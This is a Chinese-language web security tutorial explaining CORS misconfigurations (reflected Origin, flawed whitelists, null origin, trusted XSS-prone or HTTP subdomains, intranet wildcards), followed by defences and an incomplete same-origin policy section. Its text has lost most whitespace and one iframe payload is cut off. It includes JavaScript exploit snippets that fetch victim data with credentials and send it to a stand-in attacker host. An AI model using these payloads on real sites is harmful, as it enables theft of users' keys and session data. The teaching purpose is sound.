Web安全中的跨源资源共享(CORS)在本节中，我们将解释什么是跨源资源共享(CORS)，描述一些常见的基于CORS的攻击示例，并讨论如何防御它们。什么是CORS（跨源资源共享）？CORS（跨源资源共享）是一种浏览器机制，允许对位于当前访问域之外的资源进行受控访问。它扩展并增加了同源策略的灵活性。但是，如果网站的CORS策略配置和实施不当，也可能导致基于跨源的攻击。CORS不能防止CSRF等跨域攻击。同源策略（Same-originpolicy）同源策略是一种限制性的跨域规范，它限制了网站与源域之外的资源进行交互的能力。同源策略是多年前定义的，用于处理潜在的恶意跨域交互，例如一个网站从另一个网站窃取私人数据。它通常允许域向其他域发出请求，但不允许访问响应。有关详细信息，请参阅以下同源策略。放宽同源策略同源策略的限制性很强，所以人们设计了很多方法来规避这些限制。许多网站与子域或第三方网站交互的方式需要完全跨域访问。可以使用跨源资源共享(CORS)以受控方式放宽同源策略。CORS协议使用一组HTTP标头来定义受信任的Web域和相关属性，例如是否允许经过身份验证的访问。这些标头在浏览器和它试图访问的跨源网站之间交换。有关更多信息，请参阅下面的CORS和Access-Control-Allow-Origin响应标头。CORS配置不当导致的漏洞如今，许多网站都使用CORS来允许从子域和受信任的第三方进行访问。他们的CORS实施可能包含错误或过于宽松，这可能导致可利用的漏洞。服务器端ACAO直接返回客户端的Origin。一些应用程序需要允许访问许多其他域。维护允许的域列表是一项持续的工作，任何错误都可能造成破坏。因此，应用程序可能会使用一些更简单的方法来实现最终目标。一种方法是从请求标头中读取Origin并将其作为Access-Control-Allow-Origin响应标头返回。例如，应用程序接受以下请求：GET/sensitive-victim-dataHTTP/1.1Host:vulnerable-website.comOrigin:https://malicious-website.comCookie:sessionid=...然后，其响应：HTTP/1.1200OKAccess-Control-Allow-Origin:https://malicious-website.comAccess-Control-Allow-Credentials:true响应头表示允许从请求域访问，跨域请求可以包含cookies（Access-Control-Allow-Credentials:true)，所以浏览器会在会话中处理它。由于应用程序直接在Access-Control-Allow-Origin标头中返回请求域，这意味着任何域都可以访问该资源。如果响应包含任何敏感信息，例如API密钥或CSRF令牌，则可以检索它。您可以在您的网站上放置以下脚本来检索它：varreq=newXMLHttpRequest();req.onload=reqListener;req。open('get','https://vulnerable-website.com/sensitive-victim-data',true);req.withCredentials=true;req.send();functionreqListener(){location='//恶意-website.com/log?key='+this.responseText;};OriginHandlingVulnerabilities一些应用程序使用白名单机制来允许访问受信任的来源。收到CORS请求时，将请求头中的origin与白名单进行比较，如果在白名单中，则在Access-Control-Allow-Origin头中返回请求的origin，允许跨域访问。例如，应用程序收到以下请求：GET/dataHTTP/1.1Host:normal-website.com...Origin:https://innocent-website.com应用程序检查白名单列表，如果origin在表中,然后response:HTTP/1.1200OK...Access-Control-Allow-Origin:https://innocent-website.com在实现CORSorigin白名单的时候很可能会出现一些错误。一个组织决定允许从其所有子域访问，包括未来尚不存在的子域。该应用程序允许从其他组织的域（包括它们的子域）进行访问。这些规则通常通过匹配URL前缀或后缀，或者使用正则表达式来实现。实施中的任何失误都可能导致访问被授予意想不到的外部域。例如，假设应用程序允许访问以以下结尾的所有域：normal-website.com攻击者可以通过注册以下域（匹配结尾）来获得访问权限：hackersnormal-website.com或应用程序允许以Domainaccess开头的所有域:normal-website.com攻击者可以使用以下域获取访问权限（匹配开头）：normal-website.com.evil-user.netOrigin白名单允许空值浏览器将在以下情况下发送值为空的源标头：跨站重定向来自序列化数据的请求使用文件的请求沙箱中的跨站请求：协议某些应用程序可能允许在本地开发的白名单中为空。例如，假设应用程序收到以下跨域请求：GET/sensitive-victim-dataHost:vulnerable-website.comOrigin:null服务器响应：HTTP/1.1200OKAccess-Control-Allow-Origin:nullAccess-Control-Allow-Credentials:true在这种情况下，攻击者可以使用各种技巧来生成具有空Origin的请求以通过白名单，从而获得访问权限。例如，iframe沙箱可用于跨域请求：);req.onload=reqListener;req.open('get','vulnerable-website.com/sensitive-victim-data',true);req.withCredentials=true;req.send();functionreqListener(){location='malicious-website.com/log?key='+this.responseText;};">通过CORS信任利用XSS即使CORS是正确的，CORS也会在两个域之间建立信任但是，如果可信网站存在XSS漏洞，攻击者可以利用XSS漏洞注入脚本，获取可信网站的敏感信息。假设请求是：GET/api/requestApiKeyHTTP/1.1Host:vulnerable-website.comOrigin:https://subdomain.vulnerable-website.comCookie:sessionid=...如果服务器响应：HTTP/1.1200OKAccess-Control-Allow-Origin:https://subdomain.vulnerable-website.comAccess-Control-Allow-Credentials:true那么攻击者可以通过subdomain.vulnerable-website.com网站的XSS漏洞获取一些敏感数据：https://subdomain.vulnerable-website.com/?xss=使用错误配置的CORS会破坏TLS，假设严格使用HTTPS的应用程序也通过白名单信任使用HTTP的子域。例如，当应用程序收到以下请求时：GET/api/requestApiKeyHTTP/1.1Host:vulnerable-website.comOrigin:http://trusted-subdomain.vulnerable-website.comCookie:sessionid=...应用程序响应:HTTP/1.1200OKAccess-Control-Allow-Origin:http://trusted-subdomain.vulnerable-website.comAccess-Control-Allow-Credentials:true在这种情况下，能够拦截受害者用户流量的攻击者可以利用CORS来破坏受害者与应用程序的正常交互。攻击步骤如下：受害用户发出任何普通的HTTP请求。攻击者将重定向注入：http://trusted-subdomain.vulnerable-website.com受害者的浏览器遵循重定向。攻击者拦截纯HTTP请求，返回一个伪造的响应给受害者，并发送一个恶意的CORS请求到：https://vulnerable-website.com受害者的浏览器发送一个CORS请求，来源是：http://trusted-subdomain.vulnerable-website.com应用程序允许请求，因为这是一个列入白名单的域，并且请求的敏感数据会在响应中返回。攻击者的欺骗页面可以读取敏感数据并将其传输到攻击者控制下的任何域。即使易受攻击的网站在使用HTTPS时没有漏洞，没有HTTP端点，并且所有cookie都被标记为安全，这种攻击仍然有效。Intranet和uncredentialedCORS大多数CORS攻击都需要以下响应标头的存在：Access-Control-Allow-Credentials:true没有这个响应标头，受害者的浏览器将不会发送cookie，这意味着攻击者只能访问内容而无需用户身份验证，可以通过直接访问目标网站轻松获得。但是有一种情况是攻击者不能直接访问网站：网站是内网，是私有IP地址空间。内部网络的安全标准通常低于外部网络，这使得攻击者在发现漏洞后可以获得进一步的访问权限。例如私网跨域请求：GET/reader?url=doc1.pdf主机：intranet.normal-website.com来源：https://normal-website.com服务器响应：HTTP/1.1200OKAccess-Control-允许来源：*服务器信任来自所有来源的跨域请求，无需凭据。如果私有IP地址空间内的用户访问公共互联网，则可以从使用受害者浏览器作为代理访问内网资源的外部站点执行基于CORS的攻击。如何防范基于CORS的攻击CORS漏洞主要是配置错误引起的，所以防护措施主要是如何正确配置的问题。下面介绍一些有效的方法。跨源请求的正确配置如果Web资源包含敏感信息，则应在Access-Control-Allow-Origin标头中声明允许的源。只允许受信任的站点Access-Control-Allow-Origin标头只能是受信任的站点。Access-Control-Allow-Origin不经验证直接使用跨域请求的来源很容易被利用，应该避免。在白名单中避免null避免Access-Control-Allow-Origin:null。来自内部文档和沙箱请求的跨域资源调用可以指定null的来源。应根据私有和公共服务器的可信来源正确定义CORS标头。避免在内部网络中使用通配符避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时，仅仅依靠网络配置来保护内部资源是不够的。CORS不能替代服务器端安全策略。CORS只是定义了浏览器的行为，永远不能代替服务器端对敏感数据的保护。毕竟，攻击者可以直接伪造来自其他环境中任何来源的请求。因此，除了正确配置CORS之外，Web服务器还需要通过身份验证和会话管理等措施来保护敏感数据。同源策略(SOP)-同源策略在本节中，我们将解释什么是同源策略及其实现方式。什么是同源策略？同源策略是网页浏览器的一种安全机制，旨在防止网站相互攻击。同源策略限制一个源上的脚本访问另一个源上的数据。Origin源由三部分组成：schema、domain和port。所谓同源，就是这三个部分都是一样的。例如，以下URL：http://normal-website.com/example/example.html的架构为http，域为normal-website.com，端口为80。下表显示了如果上述URL中的内容试图访问其他来源会发生什么：.com/example2/是的，同源https://normal-website.com/example/否：方案和端口不同http://en.normal-website.com/example/否：域名不同http://www.normal-website.com/example/No:domainisdifferenthttp://normal-website.com:8080/example/No:portisdifferent**IE浏览器会允许访问，因为IE浏览器是同源的不考虑策略端口号。为什么需要同源策略？当浏览器从一个来源向另一个来源发送HTTP请求时，与另一个来源关联的任何cookie（包括身份验证会话cookie）也作为请求的一部分发送。这意味着响应将在用户会话中返回并包含该特定用户的相关数据。如果没有同源策略，如果您访问了一个恶意网站，它就可以读取您在GMail中的电子邮件、在Facebook上的私人消息等。同源策略是如何执行的？同源策略通常控制JavaScript代码对跨域加载内容的访问。通常允许跨域加载页面资源。例如，同源策略允许通过标签嵌入图像，通过
